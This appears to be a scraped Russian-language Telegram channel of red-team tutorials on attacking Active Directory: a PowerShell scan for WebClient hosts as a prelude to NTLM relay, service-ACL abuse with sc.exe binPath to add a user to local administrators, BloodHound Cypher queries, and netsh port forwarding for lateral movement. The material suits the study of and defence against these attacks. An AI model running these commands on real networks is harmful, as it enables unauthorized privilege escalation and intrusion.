CyberSecrets

Description
Канал о наступательной безопасности, Assumed Breach, Red Team, Purple Team
Advertising
We recommend to visit
HAYZON
HAYZON
6,053,581 @hayzonn

لا اله الا الله محمد رسول الله

👤 𝐅𝐨𝐮𝐧𝐝𝐞𝐫: @Tg_Syprion
🗓 ᴀᴅᴠᴇʀᴛɪsɪɴɢ: @SEO_Fam
Мои каналы: @mazzafam

Last updated 3 weeks, 4 days ago

Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.

Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support

Last updated 2 weeks, 5 days ago

Канал для поиска исполнителей для разных задач и организации мини конкурсов

Last updated 1 month ago

2 months ago

Поиск компьютеров с включенной службой WebClient

Наличие SMB Signing на контроллерах домена (устанавливается по умолчанию) запрещает выполнять технику SMB Relay на LDAP. В то же время техника HTTP Relay на LDAP разрешена при условии, что на контроллере домена не включен LDAP Signing. И в этом случае запущенная на хосте служба WebClient может помочь в использовании техники HTTP Relay в LDAP. По умолчанию служба WebClient отключена.

Ниже следующий скрипт позволяет обнаружить хосты, на которых запущена служба WebClient. ADSI запрос выбирает из домена все незаблокированные объекты компьютер. Так же скрипт содержит ключ bloodhound, который формирует Cypher запросы на добавление нового свойства к узлу:

```
function Check-Webclient{
[CmdletBinding()]
Param (
[Parameter (Mandatory=$false, Position=0)]
[switch]
$bloodhound
)
$searcher = [adsisearcher]'(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach($comp in $comps) { if(Get\-ChildItem \-Path "\\$($comp.Properties.name.Item(0))\pipe\DAV RPC SERVICE" \-ea SilentlyContinue) { if($bloodhound) { $sid = (New\-Object System.Security.Principal.SecurityIdentifier($comp.Properties.objectsid.Item(0),0)).Value Write\-Host "MATCH (c:Computer {objectid:'$sid'}) SET c.webclient = TRUE;" } else { Write\-Host \-ForegroundColor Green "[!] WebClient is enabled on $($comp.Properties.name.Item(0))" } } }

}
```

Если запустить скрипт с ключом bloodhound, то результат можно вставить в браузер neo4j и в результате информация будет доступна для последующий Cypher запросов. Так, например найти короткие пути до узлов, имеющих высокую ценность:

MATCH p=AllShortestPaths((c:Computer {webclient:TRUE})\-[*1..]\->(n {highvalue:TRUE})) RETURN p

Теперь остается запустить ntlmrelayx с нужными параметрами, для настройки RBCD или ShadowCredentials и выполнить принудительную аутентификацию хоста с указанием использовать WebDav вместо UNC Path.

#Внутрянка #RedTeam #PurpleTeam #Powershell

2 months, 2 weeks ago

Всем привет!
Мне тут с утра прислали ссылку моего выступления на VolgaCTF, которая проходила в славном городе Самара. Надеюсь найдете в этом выступлении что-то полезное для себя. К моему большому сожалению, за полтора часа я не успел рассказать всего что было запланировано.

2 months, 3 weeks ago

Небезопасная настройка ACL служб через групповые политики

Групповые политики являются популярным инструментом для централизованного управления инфраструктурой на базе Active Directory. Утилита Group3r позволяет собирать информацию из групповых политики для последующего анализа. Также Group3r подсвечивает некоторые некорректные настройки, так удобно искать по ключевым словам red и black для обнаружения наиболее критичных недостатков. Сегодняшний пост о небезопасной настройке ACL служб через групповые политики.

Запустив Group3r и изучив результаты, мы обнаружили следующие строчки:
A Windows service's ACL is being configured to grant abusable permissions to a target trustee. This should allow local privilege escalation on affected hosts. Service: wuauserv, Trustee: Authenticated Users \- S\-1\-5\-11.

Если мы перейдем в саму групповую политику, то обнаружим название службы, тип запуска и настройку прав доступа в виде SSDL строки:
"wuauserv",4,"D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Нас интересует только группа AU:
- СС – права на запрос конфигурации службы;
- DC – права на изменение службы;
- LC – права на запрос статуса службы;
- SW – права на перечисление всех служб, зависящих от службы
- RP – права на запуск службы;
- WP – права на остановку службы;
- DT – права на остановку службы на паузу;
- LO – права, позволяющие попросить службу немедленно сообщить о своем статусе;
- CR – права для указания пользовательского кода элемента управления.
- RC – права на чтение дескрипторов безопасности.

Для начала необходимо определить, на каких компьютерах применяется данная групповая политика, сделать это можно с помощью запроса Cypher:

MATCH(g:GPO {name:"[email protected]"})\-[:GPLink|Contains*1..]\->(c:Computer) RETURN c.name

Если наш текущий хост или хост, на который мы имеем удаленный доступ, применяет эту политику, то запрашиваем текущую конфигурацию службы локальном компьютере:

sc.exe qc wuauserv

Сохраняем текущее значение параметра BINARY_PATH_NAME для последующего восстановления.
Меняем параметр BINARY_PATH_NAME на то, что хотим выполнить на компьютере, например добавить себя в группу локальных администраторов.

sc.exe config wuauserv binPath= "net.exe localgroup administrators victim /add"

И запускаем службу:

sc.exe start wuauserv

Если служба была запущена, то сначала ее нужно остановить, а затем запустить:

sc.exe stop wuauserv sc.exe start wuauserv

Хотя Group3r сообщает, что данный недостаток может использоваться для локального повышения привилегий, в некоторых случаях его так же можно использовать и для удаленного повышения привилегий и бокового перемещения.

Выполняем простую проверку, например запуск или установку службы на удаленном хосте:

sc.exe \\server start wuauserv

Если ошибка Access Denied не появилась, попытаемся добавить себя в группу локальных администраторов и запускаем службу:

sc.exe \\server config wuauserv binPath= "net.exe localgroup administrators victim /add" sc.exe \\server start wuauserv

После получения привилегий локального администратора, возвращаем параметр BINARY_PATH_NAME в исходное состояние.

#Внутрянка #RedTeam #PurpleTeam #LPE

1 year, 5 months ago

Cypher: Работа со спискамиСписки позволяют хранить несколько значений в одном поле. В BloodHound таким полем является serviceprincipalname.

В выводе списки выводятся в квадратных скобках в кавычках и разделены запятыми: [“var1”,”var2”]. Как и в других языках список имеет индекс и к элементам списка можно обращаться по его индексу.

Метки объектов тоже являются списком. Например, если выполнить запрос для поиска какие объекты имеют привилегии локального администратора и нужно понять, что это за объект пользователь, группа или компьютер, можно выполнить запрос Cypher:

MATCH(n)\-[r:AdminTo]\->(c:Computer) RETURN n.name,labels(n),c.name

В выводе можно обнаружить, что второе поле содержит список. Первое значение будет компьютером, пользователем или группой, а второе иметь значение Base. Чтобы избавиться от этого значения, можно поставить индекс первого элемента: labels(n)[0]. В результате вывод будет более красивым.

Для разбора списка используется ключевое слово UNWIND. Чтобы получить данные SPN в виде отдельных записей можно выполнить запрос Cypher:

MATCH (c:Computer) UNWIND c.serviceprincipalnames AS spn RETURN c.name, spn

В результате каждый SPN будет содержаться в отдельной строчке.

Для поиска по определенному SPN необходимо разобрать свойство SPN для каждого компьютера и отфильтровать по необходимому значению. Например, нужно найти все доменные компьютеры, на которых запущен (потенциально) MS SQL, запрос Cypher будет следующим

MATCH (c:Computer) UNWIND c.serviceprincipalnames AS spn WITH c,spn WHERE spn CONTAINS "SQL" RETURN DISTINCT c.name

Еще один вариант — это использовать регулярные выражения. Тогда запрос преобразуется в следующий запрос:

MATCH(c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*") RETURN c.name

В данном запросе x это промежуточный результат, в котором уже выполняется проверка на совпадение.

Для реверсивного поиска (найти все машины, у которых нет записи SPN) ключевое слово ANY в предыдущем запросе нужно заменить на NOT ANY или NONE

MATCH(c:Computer) WHERE NONE (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*") RETURN c.name

Результаты запросов могут быть собраны в коллекции. Для этого используется ключевое слово COLLECT. Например, нужно собрать всех пользователей, которые являются администраторами домена, в список запрос в Cypher будет следующим:

MATCH(u:User)\-[r:MemberOf*1..]\->(g:Group {name:"DOMAIN [email protected]"}) return COLLECT(u.name)

Для добавления свойства в виде списка используется формат описанный выше. Например, необходимо добавить открытые порты для компьютера. Запрос в Cypher будет таким:

MATCH (c:Computer {name:"COMP.DOMAIN.LOCAL"}) SET c.ports = ["445", "3389"]

#BloodHound #Cypher

1 year, 5 months ago

Cypher: Добавление и изменение свойства объектаПри использовании BloodHound, возможно, нет необходимости менять свойства объекта, но если расширять возможности

Для изменения свойства объекта используется оператор SET. Самым простым примером является изменения свойства Compromised в базе neo4j это свойство называется owned, оно определяется булевым значением false или true. Чтобы изменить это свойство нужно выполнить запрос Cypher:

MATCH (u:User) WHERE u.name = "[email protected]" SET u.owned = TRUE RETURN u.name,u.owned

Новое свойство также добавляется оператором SET, например при выполнении Kerberoasting был пароль был успешно подобран и эту информацию можно добавить в базу neo4j, запрос Cypher буде следующим:

MATCH (u:User) WHERE u.name = "SVC\[email protected]" SET u.password = "Qwerty123" RETURN u.name,u.password

Интерфейс BloodHound новые свойства отображает в разделе EXTRA PROPERTIES поэтому изменять код для отображения новых свойств не требуется. Однако, новые свойства отображаются при повторном запросе объекта.

Если свойство объекта больше не требуется его можно удалить. Например, был обнаружен пароль от учетной записи, мы добавили его в базу, но через какое-то время пользователь изменил свой пароль, и информация стала неактуальной. Поэтому стоит удалить свойство password для удаления свойства в Cypher используется оператор REMOVE:

MATCH (u:User) WHERE u.name = "[email protected]" REMOVE u.password RETURN u.name,u.password

Вместо удаления свойства можно установить для него нулевое значение:

MATCH (u:User) WHERE u.name = "[email protected]" SET u.password = NULL RETURN u.name,u.password

#BloodHound #Cypher

1 year, 5 months ago

Cypher: Условия фильтрации запроса. Часть втораяПродолжаем тему использования WHERE для фильтрации запросов.

Оператор «отрицание» NOT инвертирует условие. Например, при анализе атрибута Description было обнаружено, что некоторые учетные записи имеют описание, связанное с заявками в Help Desk. Заявки имеют идентификационный номер, которые администраторы иногда вносят в атрибут Description. Идентификационный номер часто имеет буквенный префикс (например, «HDQ»), задача стоит в том, чтобы исключить из вывода все такие записи:

```
MATCH(u:User) WHERE (NOT(u.description CONTAINS "HDQ")) RETURN u.name,u.description

```

Оператор «регулярное выражение» =~ позволяет использовать регулярные выражения в запросах. В регулярном выражении использовать логическое «ИЛИ» | чтобы искать по нескольким значениям. Например, посмотреть есть ли в атрибуте Description слова «пароль» или «password», тогда запрос в Cypher будет иметь следующий вид:

MATCH(u:User) WHERE u.description =~ "(?i).*(парол|passw).*" RETURN u.name,u.description

Параметр (?i) сообщает, что регистр не важен.

При создании условий фильтрации запросов можно использовать логические операторы AND и OR. Например, необходимо проверить какие активные учетные записи будут входить в группу доменных администраторов. Запрос в Cypher будет таким:

MATCH (u:User)\-[r:MemberOf*0..]\->(g:Group) WHERE u.enabled=TRUE AND g.name = "DOMAIN [email protected]" RETURN u.name

Другой пример, узнать какие пользователи входят в группу администраторов или доменных администраторов:

```
MATCH (u:User)-[r:MemberOf*0..]->(g:Group) WHERE g.name = "[email protected]" OR g.name = "DOMAIN [email protected]" RETURN u.name,g.name

```

Оператор «существует» EXISTS может использоваться для проверки отношения. Например, проверить есть ли пользователи, которые имеют права GenericAll на группы:

MATCH(u:User) WHERE EXISTS {(u)\-[r:GenericAll]\->(g:Group)} RETURN u.name

Можно использовать прием и указать фильтр запроса в узлах, после указания метки в фигурных скобках добавляется условие фильтрации по шаблону <свойство>:<значение>. Например, определить на каких машинах используется LAPS можно следующим образом:

```
MATCH (c:Computer {haslaps:true}) return c

```

Можно добавить несколько условий. В таком случае они разделяются запятой. Например, выбрать только включенные объекты компьютер, на которых используется LAPS.

MATCH (c:Computer {enabled:true, haslaps:true}) return c

#BloodHound #Cypher

1 year, 6 months ago

Cypher: Вывод результатовBloodHound выводит данные в виде отдельных объектов или графа. Браузер neo4j имеет более расширенные варианты. И в некоторых случаях вывод свойств объектов в виде таблицы более удобный для изучения информации, чем изучать свойства каждого объекта в виде графа.

Как уже говорилось для вывода результатов используется RETURN.

Вывод в виде объектов в Cypher будет следующим:

MATCH (u:User) RETURN u

Вывод в виде графа будет иметь следующий синтаксис. Рассмотрим пример из предыдущего поста, где нужно получить всех пользователей имеющие права по протоколу RDP:

MATCH (u:User)\-[r:CanRDP]\->(c:Computer) RETURN u,r,c

Для построения графа нужно вернуть все три переменные. Если убрать из RETURN r, то в результате получим объекты без связей. Если у нас будет длинный запрос состоящие из цепочки нескольких переменных, то для этого придется выводить указывать все переменные:

```
MATCH (u:User)-[r:MemberOf*1..]->(g:Group)-[r1:CanRDP]->(c:Computer) return u,r,g,r1,c

```

В данном примере мы ищем всех пользователей, являющихся членом группы, которая имеет права подключения через RDP. Как видно для построения графа передаются все переменные. Так же стоит обратить внимание что связи определяются переменными r и r1 это связанно с тем, что все переменные должны быть уникальными.

Чтобы избежать сложностей можно всю цепочку определить как переменную и вернуть только ее. Это также избавить от результатов первой или второй цепочки, которые нас не интересуют. В этом случае запрос Cypher будет следующим:

MATCH p=(u:User)\-[r:MemberOf*1..]\->(g:Group)\-[r1:CanRDP]\->(c:Computer) return p

Для вывода результатов в виде таблицы в REURN указываются необходимые свойства. Шаблон для такого вывода <переменная>.<свойство>. Если необходимо вывести несколько свойств, то они разделяются запятой. Например, чтобы изучить атрибут description пользователей для вывода нужны только свойства name и description тогда запрос Cypher будет следующим (пока без добавления условия пустого свойства):

MATCH(u:User) RETURN u.name,u.description

Заголовки таблицы можно менять с помощью ключевого слова AS. В качестве примера возьмем предыдущий запрос и изменим заголовки на более читаемые:

```
MATCH(u:User) RETURN u.name AS Login,u.description AS Description

```

В качестве результата можно выводить количество объектов или связей для этого используется ключевое слово count(). Например, необходимо подсчитать количество учетных записей пользователей в домене:

MATCH(u:User) RETURN count(u)

Оператор ORDER BY позволяет упорядочивать вывод данных, а DESC позволяет изменять направления порядка. Например, нужно узнать у какого пользователя больше связей AdminTo:

MATCH (u:User)\-[r:AdminTo]\->(c:Computer) RETURN u.name, count(c) AS Comps ORDER BY Comps DESC

Оператор LIMIT n позволяет ограничить вывод данных n строками. С точки зрения анализа данных во время проведения работ это не нужно, наверно, кроме случаев тестирования запросов. В интерфейсе BloodHound если указывается не полное имя объекта (без имени домена), то в выводе данных устанавливается LIMIT 10 и это нужно учитывать при анализе данных.

Оператор SKIP n позволяет пропустить первые n строчек. По умолчанию браузер neo4j выводит только 1000 строк, можно изменить значение Result view max rows в настройках или использовать SKIP чтобы увидеть следующую 1000 строк.

#BloodHound #Cypher

1 year, 6 months ago

Cypher: ВведениеНа данный момент у меня закончились идеи с постами по тестированию инфраструктуры на базе Active Directory. Поэтому решил переключиться на BloodHound и Cypher.

Инструмент BloodHound состоит из трех частей:
• Sharphound – сборщик данных;
• BloodHound – веб приложение для работы и визуализации данных;
• Neo4j – база данных для хранения информации.

Обычно результаты запросов представляются в виде графов, что удобно для обнаружения связей между объектами. В BloodHound объекты домена являются вершинами графа, а ребра – отношениями между этими объектами. Так же в Neo4j вершины графа маркируются (label) по общему принципу это позволяет делать выборку только из необходимой группы объектов. Связи определяются по типу (type).

Для запросов информации из базы данных используется язык Cypher. Ниже представлен список некоторых операторов:

CREATE и MERGE – создание нового элемента;
MATCH - выполнение выборки;
SET и REMOVE – добавление или удаление свойств;
WHERE – условие;
RETURN – возврат результата;
DELETE – удаление элементов;

Принцип запросов выборки будет следующим:

MATCH (var1)\-[:Тип связи]\->(var2) WHERE … RETURN var1, var2

Можно заметить, что сам запрос похож на граф и это можно использовать для создания сложных запросов.

Стрелки определяют направление связи, в Neo4j нет двунаправленных связей, но могут быть запросы, где направление не указано. Cypher чувствителен к регистру и это необходимо учитывать при создании запросов, одна незначительная опечатка и результаты будут ошибочными.

Рассмотрим простой запрос Cypher в котором будут выбираться пользователи, у которых есть доступ по RDP:

MATCH (u:User)\-[r:CanRDP]\->(c:Computer) RETURN u,r,c

Здесь переменным u,r,c будут передаваться результаты выборки, это необязательно если не нужно выделять какие-то особые условия, но для возврата данных нужно все равно определить переменную:

MATCH p=(:User)\-[CanRDP]\->(:Computer) RETURN p

Результат будет аналогичным.

Указание label будет влиять на скорость выполнения запроса, но и результат может быть другим. Например, в запросе выше упускается тот факт, что группы тоже могут иметь связь CanRDP. Таким образом в запросе можно опустить указание User, и он будет выглядеть следующим образом:

```
MATCH p=(u)-[r:CanRDP]->(c:Computer) RETURN p

```

Самым интересным в Cypher является построение коротких путей между объектами. Для этого используются операторы ShortestPath и AllShortestPaths как можно догадаться разница между ними в том, что первый находит один короткий путь, а второй все (при наличии такой возможности). Формирование коротких путей будет занимать большое количество времени поэтому нужно добавлять условия для снижения нагрузки на базу данных. Пример запроса всех путей от пользователей до группы доменных администраторов будет выглядеть следующим образом:

MATCH p=allshortestpaths((u:User)\-[*1..]\->(g:Group)) where g.name = "DOMAIN [email protected]" RETURN p

Стоит обратить внимание, что в запросе не указываются связи, только количество «прыжков» от 1 до конца (об этом будет рассказано позже). Это означает, что интересны все возможные варианты связей.

#BloodHound #Cypher

1 year, 6 months ago

Боковое перемещение: Проброс портовДвижение по сети межу хостами в сегментированной сети может быть затруднительной задачей. Например, хост необходимый для выполнения работ, может находиться в другой подсети и правила межсетевого экрана ограничивают туда доступ. Или есть правила межсетевого экрана разрешают доступ только с определенных адресов. Если был обнаружен терминальный сервер с доступом в другую подсеть или разрешающим правилом межсетевого экрана, то проблемы нет. Можно зайти этот терминальный сервер по RDP и продолжаем работать, а вот если это рабочая станция, где работает пользователь и нельзя прерывать его работу, то возникает не большая проблема. Ее можно решить с помощью проброса портов.

Проброс портов можно выполнить с помощью portproxy в netsh. Для настройки netsh требуются права локального администратора, а также должна быть включена служба iphlpsvc. Проверить службу можно с помощью команды

Get\-Service iphlpsvc

Правила проброса портов можно создавать между адресами IPv4 и IPv6, для этого существуют опции v4tov6, v6tov4, v4tov4 и v6tov6.

В качестве примера выполним проброс порта для RDP:

netsh interface portproxy add v4tov4 listenaddress=10.10.10.10 listenport=4444 connectaddress=192.168.56.10 connectport=3389

• listenaddress – адрес, к которому будет выполняться подключение
• listenport – порт, на который будет выполняться подключение
• connectaddress – адрес, на который будет перенаправляться трафик
• connectport – порт, на который будет перенаправляться трафик

Теперь можно запустить RDP клиент и выполнить подключение:

mstsc.exe /v:10.10.10.10:4444

Посмотреть правила проброса портов можно с помощью команды

netsh interface portproxy show all

Изменить настройки перенаправления портов можно заменив параметр add на set и поменять необходимые параметры в команде, представленной выше.

После выполнения работ необходимо удалить созданное правило проброса портов

netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=10.10.10.10

А если правил было несколько, то можно удалить их все одной командой:

netsh interface portproxy reset

Этот способ можно использовать для обхода локальных правил межсетевого экрана, если это необходимо для выполнения работ.

Проброс портов дает определенные возможности, но в глобальном смысле лучше поднять сервер SOCKS и использовать его для доступа в другие подсети.

#Внутрянка #RedTeam #PurpleTeam

We recommend to visit
HAYZON
HAYZON
6,053,581 @hayzonn

لا اله الا الله محمد رسول الله

👤 𝐅𝐨𝐮𝐧𝐝𝐞𝐫: @Tg_Syprion
🗓 ᴀᴅᴠᴇʀᴛɪsɪɴɢ: @SEO_Fam
Мои каналы: @mazzafam

Last updated 3 weeks, 4 days ago

Architec.Ton is a ecosystem on the TON chain with non-custodial wallet, swap, apps catalog and launchpad.

Main app: @architec_ton_bot
Our Chat: @architec_ton
EU Channel: @architecton_eu
Twitter: x.com/architec_ton
Support: @architecton_support

Last updated 2 weeks, 5 days ago

Канал для поиска исполнителей для разных задач и организации мини конкурсов

Last updated 1 month ago